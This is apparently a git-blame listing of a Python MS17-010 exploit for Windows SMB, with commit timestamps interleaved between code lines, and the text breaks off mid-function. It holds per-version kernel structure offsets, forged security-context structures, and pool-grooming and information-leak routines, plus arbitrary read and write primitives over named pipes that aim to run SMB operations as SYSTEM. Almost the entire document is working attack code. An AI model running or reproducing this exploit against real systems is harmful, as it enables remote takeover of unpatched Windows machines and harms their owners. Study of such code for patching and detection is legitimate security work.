2017-06-20 00:08:35 +07:00
#!/usr/bin/python
from impacket import smb , smbconnection
from mysmb import MYSMB
2017-07-11 00:39:31 +07:00
from struct import pack , unpack , unpack_from
2017-06-20 00:08:35 +07:00
import sys
import socket
import time
'''
2017-07-18 22:51:56 +07:00
MS17 - 010 exploit for Windows 2000 and later by sleepya
2017-06-20 00:08:35 +07:00
Note :
- The exploit should never crash a target ( chance should be nearly 0 % )
- The exploit use the bug same as eternalromance and eternalsynergy , so named pipe is needed
Tested on :
- Windows 2016 x64
2017-07-18 22:47:35 +07:00
- Windows 10 Pro Build 10240 x64
2017-06-20 00:08:35 +07:00
- Windows 2012 R2 x64
- Windows 8.1 x64
2017-06-20 21:51:13 +07:00
- Windows 2008 R2 SP1 x64
2017-06-20 00:08:35 +07:00
- Windows 7 SP1 x64
2017-07-15 21:16:04 +07:00
- Windows 2008 SP1 x64
2017-07-16 21:08:09 +07:00
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
2017-07-11 15:48:06 +07:00
- Windows 8.1 x86
2017-07-11 00:39:31 +07:00
- Windows 7 SP1 x86
2017-07-15 21:16:04 +07:00
- Windows 2008 SP1 x86
2017-07-16 21:08:09 +07:00
- Windows 2003 SP2 x86
- Windows XP SP3 x86
2017-07-18 22:47:35 +07:00
- Windows 2000 SP4 x86
2017-06-20 00:08:35 +07:00
'''
USERNAME = ' '
PASSWORD = ' '
2017-07-15 21:16:04 +07:00
'''
A transaction with empty setup :
- it is allocated from paged pool ( same as other transaction types ) on Windows 7 and later
- it is allocated from private heap ( RtlAllocateHeap ( ) ) with no on use it on Windows Vista and earlier
- no lookaside or caching method for allocating it
Note : method name is from NSA eternalromance
For Windows 7 and later , it is good to use matched pair method ( one is large pool and another one is fit
for freed pool from large pool ) . Additionally , the exploit does the information leak to check transactions
2017-07-25 22:45:38 +07:00
alignment before doing OOB write . So this exploit should never crash a target against Windows 7 and later .
2017-07-15 21:16:04 +07:00
For Windows Vista and earlier , matched pair method is impossible because we cannot allocate transaction size
smaller than PAGE_SIZE ( Windows XP can but large page pool does not split the last page of allocation ) . But
a transaction with empty setup is allocated on private heap ( it is created by RtlCreateHeap ( ) on initialing server ) .
Only this transaction type uses this heap . Normally , no one uses this transaction type . So transactions alignment
in this private heap should be very easy and very reliable ( fish in a barrel in NSA eternalromance ) . The drawback
of this method is we cannot do information leak to verify transactions alignment before OOB write .
2017-07-25 22:45:38 +07:00
So this exploit has a chance to crash target same as NSA eternalromance against Windows Vista and earlier .
2017-07-15 21:16:04 +07:00
'''
2017-06-20 00:08:35 +07:00
'''
2017-06-22 22:16:20 +07:00
Reversed from : SrvAllocateSecurityContext ( ) and SrvImpersonateSecurityContext ( )
2017-06-20 00:08:35 +07:00
win7 x64
struct SrvSecContext {
DWORD xx1 ; / / second WORD is size
DWORD refCnt ;
PACCESS_TOKEN Token ; / / 0x08
DWORD xx2 ;
BOOLEAN CopyOnOpen ; / / 0x14
BOOLEAN EffectiveOnly ;
WORD xx3 ;
DWORD ImpersonationLevel ; / / 0x18
DWORD xx4 ;
BOOLEAN UsePsImpersonateClient ; / / 0x20
}
win2012 x64
struct SrvSecContext {
DWORD xx1 ; / / second WORD is size
DWORD refCnt ;
QWORD xx2 ;
QWORD xx3 ;
PACCESS_TOKEN Token ; / / 0x18
DWORD xx4 ;
BOOLEAN CopyOnOpen ; / / 0x24
BOOLEAN EffectiveOnly ;
WORD xx3 ;
DWORD ImpersonationLevel ; / / 0x28
DWORD xx4 ;
BOOLEAN UsePsImpersonateClient ; / / 0x30
}
2017-07-15 21:16:04 +07:00
SrvImpersonateSecurityContext ( ) is used in Windows Vista and later before doing any operation as logged on user .
2018-01-29 18:38:22 -07:00
It called PsImperonateClient ( ) if SrvSecContext . UsePsImpersonateClient is true .
2017-06-20 00:08:35 +07:00
From https : / / msdn . microsoft . com / en - us / library / windows / hardware / ff551907 ( v = vs .85 ) . aspx , if Token is NULL ,
PsImperonateClient ( ) ends the impersonation . Even there is no impersonation , the PsImperonateClient ( ) returns
STATUS_SUCCESS when Token is NULL .
If we can overwrite Token to NULL and UsePsImpersonateClient to true , a running thread will use primary token ( SYSTEM )
to do all SMB operations .
2017-07-25 22:45:38 +07:00
Note : for Windows 2003 and earlier , the exploit modify token user and groups in PCtxtHandle to get SYSTEM because only
ImpersonateSecurityContext ( ) is used in these Windows versions .
2017-06-20 00:08:35 +07:00
'''
2017-07-16 21:08:09 +07:00
###########################
# info for modify session security context
###########################
WIN7_64_SESSION_INFO = {
2017-07-11 12:14:10 +07:00
' SESSION_SECCTX_OFFSET ' : 0xa0 ,
2017-06-20 00:08:35 +07:00
' SESSION_ISNULL_OFFSET ' : 0xba ,
' FAKE_SECCTX ' : pack ( ' <IIQQIIB ' , 0x28022a , 1 , 0 , 0 , 2 , 0 , 1 ) ,
' SECCTX_SIZE ' : 0x28 ,
}
2017-07-16 21:08:09 +07:00
WIN7_32_SESSION_INFO = {
2017-07-11 00:39:31 +07:00
' SESSION_SECCTX_OFFSET ' : 0x80 ,
' SESSION_ISNULL_OFFSET ' : 0x96 ,
' FAKE_SECCTX ' : pack ( ' <IIIIIIB ' , 0x1c022a , 1 , 0 , 0 , 2 , 0 , 1 ) ,
' SECCTX_SIZE ' : 0x1c ,
}
2017-06-20 00:08:35 +07:00
# win8+ info
2017-07-16 21:08:09 +07:00
WIN8_64_SESSION_INFO = {
2017-07-11 12:14:10 +07:00
' SESSION_SECCTX_OFFSET ' : 0xb0 ,
2017-06-20 00:08:35 +07:00
' SESSION_ISNULL_OFFSET ' : 0xca ,
' FAKE_SECCTX ' : pack ( ' <IIQQQQIIB ' , 0x38022a , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 ) ,
' SECCTX_SIZE ' : 0x38 ,
}
2017-07-16 21:08:09 +07:00
WIN8_32_SESSION_INFO = {
2017-07-11 15:48:06 +07:00
' SESSION_SECCTX_OFFSET ' : 0x88 ,
' SESSION_ISNULL_OFFSET ' : 0x9e ,
' FAKE_SECCTX ' : pack ( ' <IIIIIIIIB ' , 0x24022a , 1 , 0 , 0 , 0 , 0 , 2 , 0 , 1 ) ,
' SECCTX_SIZE ' : 0x24 ,
}
2017-07-16 21:08:09 +07:00
# win 2003 (xp 64 bit is win 2003)
WIN2K3_64_SESSION_INFO = {
' SESSION_ISNULL_OFFSET ' : 0xba ,
' SESSION_SECCTX_OFFSET ' : 0xa0 , # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
' SECCTX_PCTXTHANDLE_OFFSET ' : 0x10 , # PCtxtHandle is at offset 0x8 but only upperPart is needed
' PCTXTHANDLE_TOKEN_OFFSET ' : 0x40 ,
' TOKEN_USER_GROUP_CNT_OFFSET ' : 0x4c ,
' TOKEN_USER_GROUP_ADDR_OFFSET ' : 0x68 ,
2017-07-15 20:03:07 +07:00
}
2017-07-16 21:08:09 +07:00
WIN2K3_32_SESSION_INFO = {
' SESSION_ISNULL_OFFSET ' : 0x96 ,
' SESSION_SECCTX_OFFSET ' : 0x80 , # Win2k3 has another struct to keep PCtxtHandle (similar to 2008+)
' SECCTX_PCTXTHANDLE_OFFSET ' : 0xc , # PCtxtHandle is at offset 0x8 but only upperPart is needed
' PCTXTHANDLE_TOKEN_OFFSET ' : 0x24 ,
' TOKEN_USER_GROUP_CNT_OFFSET ' : 0x4c ,
' TOKEN_USER_GROUP_ADDR_OFFSET ' : 0x68 ,
}
# win xp
WINXP_32_SESSION_INFO = {
' SESSION_ISNULL_OFFSET ' : 0x94 ,
' SESSION_SECCTX_OFFSET ' : 0x84 , # PCtxtHandle is at offset 0x80 but only upperPart is needed
' PCTXTHANDLE_TOKEN_OFFSET ' : 0x24 ,
' TOKEN_USER_GROUP_CNT_OFFSET ' : 0x4c ,
' TOKEN_USER_GROUP_ADDR_OFFSET ' : 0x68 ,
2018-01-29 18:32:20 -07:00
' TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1 ' : 0x40 ,
' TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1 ' : 0x5c
2017-07-16 21:08:09 +07:00
}
2017-07-18 22:47:35 +07:00
WIN2K_32_SESSION_INFO = {
' SESSION_ISNULL_OFFSET ' : 0x94 ,
' SESSION_SECCTX_OFFSET ' : 0x84 , # PCtxtHandle is at offset 0x80 but only upperPart is needed
' PCTXTHANDLE_TOKEN_OFFSET ' : 0x24 ,
' TOKEN_USER_GROUP_CNT_OFFSET ' : 0x3c ,
' TOKEN_USER_GROUP_ADDR_OFFSET ' : 0x58 ,
}
2017-07-16 21:08:09 +07:00
###########################
# info for exploitation
###########################
# for windows 2008+
WIN7_32_TRANS_INFO = {
2017-07-11 00:39:31 +07:00
' TRANS_SIZE ' : 0xa0 , # struct size
' TRANS_FLINK_OFFSET ' : 0x18 ,
' TRANS_INPARAM_OFFSET ' : 0x40 ,
' TRANS_OUTPARAM_OFFSET ' : 0x44 ,
' TRANS_INDATA_OFFSET ' : 0x48 ,
' TRANS_OUTDATA_OFFSET ' : 0x4c ,
2017-07-15 20:03:07 +07:00
' TRANS_PARAMCNT_OFFSET ' : 0x58 ,
' TRANS_TOTALPARAMCNT_OFFSET ' : 0x5c ,
2017-07-11 00:39:31 +07:00
' TRANS_FUNCTION_OFFSET ' : 0x72 ,
' TRANS_MID_OFFSET ' : 0x80 ,
}
2017-07-16 21:08:09 +07:00
WIN7_64_TRANS_INFO = {
2017-07-11 00:39:31 +07:00
' TRANS_SIZE ' : 0xf8 , # struct size
' TRANS_FLINK_OFFSET ' : 0x28 ,
' TRANS_INPARAM_OFFSET ' : 0x70 ,
' TRANS_OUTPARAM_OFFSET ' : 0x78 ,
' TRANS_INDATA_OFFSET ' : 0x80 ,
' TRANS_OUTDATA_OFFSET ' : 0x88 ,
2017-07-15 20:03:07 +07:00
' TRANS_PARAMCNT_OFFSET ' : 0x98 ,
' TRANS_TOTALPARAMCNT_OFFSET ' : 0x9c ,
2017-07-11 00:39:31 +07:00
' TRANS_FUNCTION_OFFSET ' : 0xb2 ,
' TRANS_MID_OFFSET ' : 0xc0 ,
}
2017-06-20 00:08:35 +07:00
2017-07-16 21:08:09 +07:00
WIN5_32_TRANS_INFO = {
' TRANS_SIZE ' : 0x98 , # struct size
' TRANS_FLINK_OFFSET ' : 0x18 ,
' TRANS_INPARAM_OFFSET ' : 0x3c ,
' TRANS_OUTPARAM_OFFSET ' : 0x40 ,
' TRANS_INDATA_OFFSET ' : 0x44 ,
' TRANS_OUTDATA_OFFSET ' : 0x48 ,
' TRANS_PARAMCNT_OFFSET ' : 0x54 ,
' TRANS_TOTALPARAMCNT_OFFSET ' : 0x58 ,
' TRANS_FUNCTION_OFFSET ' : 0x6e ,
' TRANS_PID_OFFSET ' : 0x78 ,
' TRANS_MID_OFFSET ' : 0x7c ,
}
WIN5_64_TRANS_INFO = {
' TRANS_SIZE ' : 0xe0 , # struct size
' TRANS_FLINK_OFFSET ' : 0x28 ,
' TRANS_INPARAM_OFFSET ' : 0x68 ,
' TRANS_OUTPARAM_OFFSET ' : 0x70 ,
' TRANS_INDATA_OFFSET ' : 0x78 ,
' TRANS_OUTDATA_OFFSET ' : 0x80 ,
' TRANS_PARAMCNT_OFFSET ' : 0x90 ,
' TRANS_TOTALPARAMCNT_OFFSET ' : 0x94 ,
' TRANS_FUNCTION_OFFSET ' : 0xaa ,
' TRANS_PID_OFFSET ' : 0xb4 ,
' TRANS_MID_OFFSET ' : 0xb8 ,
}
X86_INFO = {
' ARCH ' : ' x86 ' ,
' PTR_SIZE ' : 4 ,
' PTR_FMT ' : ' I ' ,
' FRAG_TAG_OFFSET ' : 12 ,
' POOL_ALIGN ' : 8 ,
' SRV_BUFHDR_SIZE ' : 8 ,
}
X64_INFO = {
' ARCH ' : ' x64 ' ,
' PTR_SIZE ' : 8 ,
' PTR_FMT ' : ' Q ' ,
' FRAG_TAG_OFFSET ' : 0x14 ,
' POOL_ALIGN ' : 0x10 ,
' SRV_BUFHDR_SIZE ' : 0x10 ,
}
def merge_dicts ( * dict_args ) :
result = { }
for dictionary in dict_args :
result . update ( dictionary )
return result
OS_ARCH_INFO = {
# for Windows Vista, 2008, 7 and 2008 R2
' WIN7 ' : {
' x86 ' : merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN7_32_SESSION_INFO ) ,
' x64 ' : merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN7_64_SESSION_INFO ) ,
} ,
# for Windows 8 and later
' WIN8 ' : {
' x86 ' : merge_dicts ( X86_INFO , WIN7_32_TRANS_INFO , WIN8_32_SESSION_INFO ) ,
' x64 ' : merge_dicts ( X64_INFO , WIN7_64_TRANS_INFO , WIN8_64_SESSION_INFO ) ,
} ,
' WINXP ' : {
' x86 ' : merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WINXP_32_SESSION_INFO ) ,
' x64 ' : merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ) ,
} ,
' WIN2K3 ' : {
' x86 ' : merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K3_32_SESSION_INFO ) ,
' x64 ' : merge_dicts ( X64_INFO , WIN5_64_TRANS_INFO , WIN2K3_64_SESSION_INFO ) ,
} ,
2017-07-18 22:47:35 +07:00
' WIN2K ' : {
' x86 ' : merge_dicts ( X86_INFO , WIN5_32_TRANS_INFO , WIN2K_32_SESSION_INFO ) ,
} ,
2017-07-16 21:08:09 +07:00
}
2017-07-15 20:03:07 +07:00
TRANS_NAME_LEN = 4
2017-07-15 21:16:04 +07:00
HEAP_HDR_SIZE = 8 # heap chunk header size
2017-07-15 20:03:07 +07:00
def calc_alloc_size ( size , align_size ) :
return ( size + align_size - 1 ) & ~ ( align_size - 1 )
2017-06-20 00:08:35 +07:00
def wait_for_request_processed ( conn ) :
#time.sleep(0.05)
# send echo is faster than sleep(0.05) when connection is very good
conn . send_echo ( ' a ' )
2017-07-16 22:50:44 +07:00
def find_named_pipe ( conn ) :
pipes = [ ' browser ' , ' spoolss ' , ' netlogon ' , ' lsarpc ' , ' samr ' ]
2018-01-29 18:38:22 -07:00
2017-07-16 22:50:44 +07:00
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
found_pipe = None
for pipe in pipes :
try :
fid = conn . nt_create_andx ( tid , pipe )
conn . close ( tid , fid )
found_pipe = pipe
2017-07-19 14:17:20 +02:00
except smb . SessionError as e :
2017-07-16 22:50:44 +07:00
pass
2018-01-29 18:38:22 -07:00
2017-07-16 22:50:44 +07:00
conn . disconnect_tree ( tid )
return found_pipe
2017-07-15 20:03:07 +07:00
2017-06-20 00:08:35 +07:00
special_mid = 0
extra_last_mid = 0
def reset_extra_mid ( conn ) :
global extra_last_mid , special_mid
special_mid = ( conn . next_mid ( ) & 0xff00 ) - 0x100
extra_last_mid = special_mid
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
def next_extra_mid ( ) :
global extra_last_mid
extra_last_mid + = 1
return extra_last_mid
2017-07-15 20:03:07 +07:00
2017-07-11 00:39:31 +07:00
# Borrow 'groom' and 'bride' word from NSA tool
2017-07-11 12:14:10 +07:00
# GROOM_TRANS_SIZE includes transaction name, parameters and data
2017-07-15 20:03:07 +07:00
# Note: the GROOM_TRANS_SIZE size MUST be multiple of 16 to make FRAG_TAG_OFFSET valid
2017-07-11 12:14:10 +07:00
GROOM_TRANS_SIZE = 0x5010
2017-06-20 00:08:35 +07:00
2017-07-15 20:03:07 +07:00
def leak_frag_size ( conn , tid , fid ) :
2017-07-15 21:16:04 +07:00
# this method can be used on Windows Vista/2008 and later
2017-07-15 20:03:07 +07:00
# leak "Frag" pool size and determine target architecture
info = { }
2018-01-29 18:38:22 -07:00
2017-06-20 21:51:13 +07:00
# A "Frag" pool is placed after the large pool allocation if last page has some free space left.
2017-07-11 00:39:31 +07:00
# A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version.
2017-06-20 21:51:13 +07:00
# To make exploit more generic, exploit does info leak to find a "Frag" pool size.
# From the leak info, we can determine the target architecture too.
2017-06-20 00:08:35 +07:00
mid = conn . next_mid ( )
2017-07-15 20:03:07 +07:00
req1 = conn . create_nt_trans_packet ( 5 , param = pack ( ' <HH ' , fid , 0 ) , mid = mid , data = ' A ' * 0x10d0 , maxParameterCount = GROOM_TRANS_SIZE - 0x10d0 - TRANS_NAME_LEN )
2017-06-20 00:08:35 +07:00
req2 = conn . create_nt_trans_secondary_packet ( mid , data = ' B ' * 276 ) # leak more 276 bytes
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
conn . send_raw ( req1 [ : - 8 ] )
conn . send_raw ( req1 [ - 8 : ] + req2 )
leakData = conn . recv_transaction_data ( mid , 0x10d0 + 276 )
leakData = leakData [ 0x10d4 : ] # skip parameters and its own input
2017-07-16 21:08:09 +07:00
# Detect target architecture and calculate frag pool size
2017-07-11 00:39:31 +07:00
if leakData [ X86_INFO [ ' FRAG_TAG_OFFSET ' ] : X86_INFO [ ' FRAG_TAG_OFFSET ' ] + 4 ] == ' Frag ' :
print ( ' Target is 32 bit ' )
2017-07-15 20:03:07 +07:00
info [ ' arch ' ] = ' x86 '
2017-07-16 21:08:09 +07:00
info [ ' FRAG_POOL_SIZE ' ] = ord ( leakData [ X86_INFO [ ' FRAG_TAG_OFFSET ' ] - 2 ] ) * X86_INFO [ ' POOL_ALIGN ' ]
2017-07-11 00:39:31 +07:00
elif leakData [ X64_INFO [ ' FRAG_TAG_OFFSET ' ] : X64_INFO [ ' FRAG_TAG_OFFSET ' ] + 4 ] == ' Frag ' :
print ( ' Target is 64 bit ' )
2017-07-15 20:03:07 +07:00
info [ ' arch ' ] = ' x64 '
2017-07-16 21:08:09 +07:00
info [ ' FRAG_POOL_SIZE ' ] = ord ( leakData [ X64_INFO [ ' FRAG_TAG_OFFSET ' ] - 2 ] ) * X64_INFO [ ' POOL_ALIGN ' ]
2017-07-11 00:39:31 +07:00
else :
2017-06-20 00:08:35 +07:00
print ( ' Not found Frag pool tag in leak data ' )
sys . exit ( )
2018-01-29 18:38:22 -07:00
2017-07-11 00:39:31 +07:00
print ( ' Got frag size: 0x {:x} ' . format ( info [ ' FRAG_POOL_SIZE ' ] ) )
2017-07-15 20:03:07 +07:00
return info
2017-07-11 12:14:10 +07:00
2017-07-15 20:03:07 +07:00
def read_data ( conn , info , read_addr , read_size ) :
fmt = info [ ' PTR_FMT ' ]
# modify trans2.OutParameter to leak next transaction and trans2.OutData to leak real data
# modify trans2.*ParameterCount and trans2.*DataCount to limit data
new_data = pack ( ' < ' + fmt * 3 , info [ ' trans2_addr ' ] + info [ ' TRANS_FLINK_OFFSET ' ] , info [ ' trans2_addr ' ] + 0x200 , read_addr ) # OutParameter, InData, OutData
new_data + = pack ( ' <II ' , 0 , 0 ) # SetupCount, MaxSetupCount
new_data + = pack ( ' <III ' , 8 , 8 , 8 ) # ParamterCount, TotalParamterCount, MaxParameterCount
new_data + = pack ( ' <III ' , read_size , read_size , read_size ) # DataCount, TotalDataCount, MaxDataCount
new_data + = pack ( ' <HH ' , 0 , 5 ) # Category, Function (NT_RENAME)
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = new_data , dataDisplacement = info [ ' TRANS_OUTPARAM_OFFSET ' ] )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# create one more transaction before leaking data
# - next transaction can be used for arbitrary read/write after the current trans2 is done
# - next transaction address is from TransactionListEntry.Flink value
conn . send_nt_trans ( 5 , param = pack ( ' <HH ' , info [ ' fid ' ] , 0 ) , totalDataCount = 0x4300 - 0x20 , totalParameterCount = 0x1000 )
2017-07-11 12:14:10 +07:00
2017-07-15 20:03:07 +07:00
# finish the trans2 to leak
conn . send_nt_trans_secondary ( mid = info [ ' trans2_mid ' ] )
read_data = conn . recv_transaction_data ( info [ ' trans2_mid ' ] , 8 + read_size )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# set new trans2 address
info [ ' trans2_addr ' ] = unpack_from ( ' < ' + fmt , read_data ) [ 0 ] - info [ ' TRANS_FLINK_OFFSET ' ]
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# set trans1.InData to &trans2
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , param = pack ( ' < ' + fmt , info [ ' trans2_addr ' ] ) , paramDisplacement = info [ ' TRANS_INDATA_OFFSET ' ] )
wait_for_request_processed ( conn )
# modify trans2 mid
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' <H ' , info [ ' trans2_mid ' ] ) , dataDisplacement = info [ ' TRANS_MID_OFFSET ' ] )
wait_for_request_processed ( conn )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
return read_data [ 8 : ] # no need to return parameter
def write_data ( conn , info , write_addr , write_data ) :
# trans2.InData
conn . send_nt_trans_secondary ( mid = info [ ' trans1_mid ' ] , data = pack ( ' < ' + info [ ' PTR_FMT ' ] , write_addr ) , dataDisplacement = info [ ' TRANS_INDATA_OFFSET ' ] )
wait_for_request_processed ( conn )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# write data
conn . send_nt_trans_secondary ( mid = info [ ' trans2_mid ' ] , data = write_data )
wait_for_request_processed ( conn )
2017-07-11 00:39:31 +07:00
def align_transaction_and_leak ( conn , tid , fid , info , numFill = 4 ) :
trans_param = pack ( ' <HH ' , fid , 0 ) # param for NT_RENAME
2017-06-20 00:08:35 +07:00
# fill large pagedpool holes (maybe no need)
for i in range ( numFill ) :
2017-07-11 00:39:31 +07:00
conn . send_nt_trans ( 5 , param = trans_param , totalDataCount = 0x10d0 , maxParameterCount = GROOM_TRANS_SIZE - 0x10d0 )
2017-06-20 00:08:35 +07:00
mid_ntrename = conn . next_mid ( )
2017-07-25 22:45:38 +07:00
# first GROOM, for leaking next BRIDE transaction
2017-07-11 12:14:10 +07:00
req1 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = mid_ntrename , data = ' A ' * 0x10d0 , maxParameterCount = info [ ' GROOM_DATA_SIZE ' ] - 0x10d0 )
2017-06-20 00:08:35 +07:00
req2 = conn . create_nt_trans_secondary_packet ( mid_ntrename , data = ' B ' * 276 ) # leak more 276 bytes
2017-07-25 22:45:38 +07:00
# second GROOM, for controlling next BRIDE transaction
2017-07-11 12:14:10 +07:00
req3 = conn . create_nt_trans_packet ( 5 , param = trans_param , mid = fid , totalDataCount = info [ ' GROOM_DATA_SIZE ' ] - 0x1000 , maxParameterCount = 0x1000 )
2017-07-25 22:45:38 +07:00
# many BRIDEs, expect two of them are allocated at splitted pool from GROOM
2017-06-20 00:08:35 +07:00
reqs = [ ]
for i in range ( 12 ) :
mid = next_extra_mid ( )
2017-07-11 12:14:10 +07:00
reqs . append ( conn . create_trans_packet ( ' ' , mid = mid , param = trans_param , totalDataCount = info [ ' BRIDE_DATA_SIZE ' ] - 0x200 , totalParameterCount = 0x200 , maxDataCount = 0 , maxParameterCount = 0 ) )
2017-06-20 00:08:35 +07:00
conn . send_raw ( req1 [ : - 8 ] )
conn . send_raw ( req1 [ - 8 : ] + req2 + req3 + ' ' . join ( reqs ) )
2018-01-29 18:38:22 -07:00
2017-06-20 21:51:13 +07:00
# expected transactions alignment ("Frag" pool is not shown)
#
# | 5 * PAGE_SIZE | PAGE_SIZE | 5 * PAGE_SIZE | PAGE_SIZE |
# +-------------------------------+----------------+-------------------------------+----------------+
# | GROOM mid=mid_ntrename | extra_mid1 | GROOM mid=fid | extra_mid2 |
# +-------------------------------+----------------+-------------------------------+----------------+
#
# If transactions are aligned as we expected, BRIDE transaction with mid=extra_mid1 will be leaked.
# From leaked transaction, we get
# - leaked transaction address from InParameter or InData
# - transaction, with mid=extra_mid2, address from LIST_ENTRY.Flink
# With these information, we can verify the transaction aligment from displacement.
2017-06-20 00:08:35 +07:00
leakData = conn . recv_transaction_data ( mid_ntrename , 0x10d0 + 276 )
leakData = leakData [ 0x10d4 : ] # skip parameters and its own input
#open('leak.dat', 'wb').write(leakData)
2017-07-11 00:39:31 +07:00
if leakData [ info [ ' FRAG_TAG_OFFSET ' ] : info [ ' FRAG_TAG_OFFSET ' ] + 4 ] != ' Frag ' :
2017-06-20 00:08:35 +07:00
print ( ' Not found Frag pool tag in leak data ' )
return None
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
# ================================
# verify leak data
# ================================
2017-07-11 00:39:31 +07:00
leakData = leakData [ info [ ' FRAG_TAG_OFFSET ' ] - 4 + info [ ' FRAG_POOL_SIZE ' ] : ]
2017-06-20 00:08:35 +07:00
# check pool tag and size value in buffer header
2017-07-11 12:14:10 +07:00
expected_size = pack ( ' <H ' , info [ ' BRIDE_TRANS_SIZE ' ] )
2017-07-11 00:39:31 +07:00
leakTransOffset = info [ ' POOL_ALIGN ' ] + info [ ' SRV_BUFHDR_SIZE ' ]
if leakData [ 0x4 : 0x8 ] != ' LStr ' or leakData [ info [ ' POOL_ALIGN ' ] : info [ ' POOL_ALIGN ' ] + 2 ] != expected_size or leakData [ leakTransOffset + 2 : leakTransOffset + 4 ] != expected_size :
2017-06-20 00:08:35 +07:00
print ( ' No transaction struct in leak data ' )
return None
2017-07-11 00:39:31 +07:00
leakTrans = leakData [ leakTransOffset : ]
2017-06-20 00:08:35 +07:00
2017-07-11 00:39:31 +07:00
ptrf = info [ ' PTR_FMT ' ]
_ , connection_addr , session_addr , treeconnect_addr , flink_value = unpack_from ( ' < ' + ptrf * 5 , leakTrans , 8 )
inparam_value = unpack_from ( ' < ' + ptrf , leakTrans , info [ ' TRANS_INPARAM_OFFSET ' ] ) [ 0 ]
leak_mid = unpack_from ( ' <H ' , leakTrans , info [ ' TRANS_MID_OFFSET ' ] ) [ 0 ]
2017-06-20 00:08:35 +07:00
print ( ' CONNECTION: 0x {:x} ' . format ( connection_addr ) )
print ( ' SESSION: 0x {:x} ' . format ( session_addr ) )
print ( ' FLINK: 0x {:x} ' . format ( flink_value ) )
2017-07-11 00:39:31 +07:00
print ( ' InParam: 0x {:x} ' . format ( inparam_value ) )
2017-06-20 00:08:35 +07:00
print ( ' MID: 0x {:x} ' . format ( leak_mid ) )
2017-07-11 00:39:31 +07:00
next_page_addr = ( inparam_value & 0xfffffffffffff000 ) + 0x1000
if next_page_addr + info [ ' GROOM_POOL_SIZE ' ] + info [ ' FRAG_POOL_SIZE ' ] + info [ ' POOL_ALIGN ' ] + info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' TRANS_FLINK_OFFSET ' ] != flink_value :
2017-06-20 00:08:35 +07:00
print ( ' unexpected alignment, diff: 0x {:x} ' . format ( flink_value - next_page_addr ) )
return None
# trans1: leak transaction
# trans2: next transaction
return {
' connection ' : connection_addr ,
' session ' : session_addr ,
' next_page_addr ' : next_page_addr ,
' trans1_mid ' : leak_mid ,
2017-07-15 20:03:07 +07:00
' trans1_addr ' : inparam_value - info [ ' TRANS_SIZE ' ] - TRANS_NAME_LEN ,
2017-07-11 00:39:31 +07:00
' trans2_addr ' : flink_value - info [ ' TRANS_FLINK_OFFSET ' ] ,
2017-06-20 00:08:35 +07:00
}
2017-07-15 20:03:07 +07:00
def exploit_matched_pairs ( conn , pipe_name , info ) :
2017-07-15 21:16:04 +07:00
# for Windows 7/2008 R2 and later
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
tid = conn . tree_connect_andx ( ' \\ \\ ' + conn . get_remote_host ( ) + ' \\ ' + ' IPC$ ' )
conn . set_default_tid ( tid )
# fid for first open is always 0x4000. We can open named pipe multiple times to get other fids.
fid = conn . nt_create_andx ( tid , pipe_name )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
info . update ( leak_frag_size ( conn , tid , fid ) )
# add os and arch specific exploit info
info . update ( OS_ARCH_INFO [ info [ ' os ' ] ] [ info [ ' arch ' ] ] )
2018-01-29 18:38:22 -07:00
2017-07-15 20:03:07 +07:00
# groom: srv buffer header
info [ ' GROOM_POOL_SIZE ' ] = calc_alloc_size ( GROOM_TRANS_SIZE + info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' POOL_ALIGN ' ] , info [ ' POOL_ALIGN ' ] )
print ( ' GROOM_POOL_SIZE: 0x {:x} ' . format ( info [ ' GROOM_POOL_SIZE ' ] ) )
# groom paramters and data is alignment by 8 because it is NT_TRANS
info [ ' GROOM_DATA_SIZE ' ] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - info [ ' TRANS_SIZE ' ] # alignment (4)
2017-06-20 00:08:35 +07:00
2017-07-15 20:03:07 +07:00
# bride: srv buffer header, pool header (same as pool align size), empty transaction name (4)
bridePoolSize = 0x1000 - ( info [ ' GROOM_POOL_SIZE ' ] & 0xfff ) - info [ ' FRAG_POOL_SIZE ' ]
info [ ' BRIDE_TRANS_SIZE ' ] = bridePoolSize - ( info [ ' SRV_BUFHDR_SIZE ' ] + info [ ' POOL_ALIGN ' ] )
print ( ' BRIDE_TRANS_SIZE: 0x {:x} ' . format ( info [ ' BRIDE_TRANS_SIZE ' ] ) )
# bride paramters and data is alignment by 4 because it is TRANS
info [ ' BRIDE_DATA_SIZE ' ] = info [ ' BRIDE_TRANS_SIZE ' ] - TRANS_NAME_LEN - info [ ' TRANS_SIZE ' ]
2018-01-29 18:38:22 -07:00
2017-06-20 00:08:35 +07:00
# ================================
# try align pagedpool and leak info until satisfy
# ================================
leakInfo = None
# max attempt: 10
for i in range ( 10 ) :
reset_extra_mid ( conn )
2017-07-11 00:39:31 +07:00
leakInfo = align_transaction_and_leak ( conn , tid , fid , info )
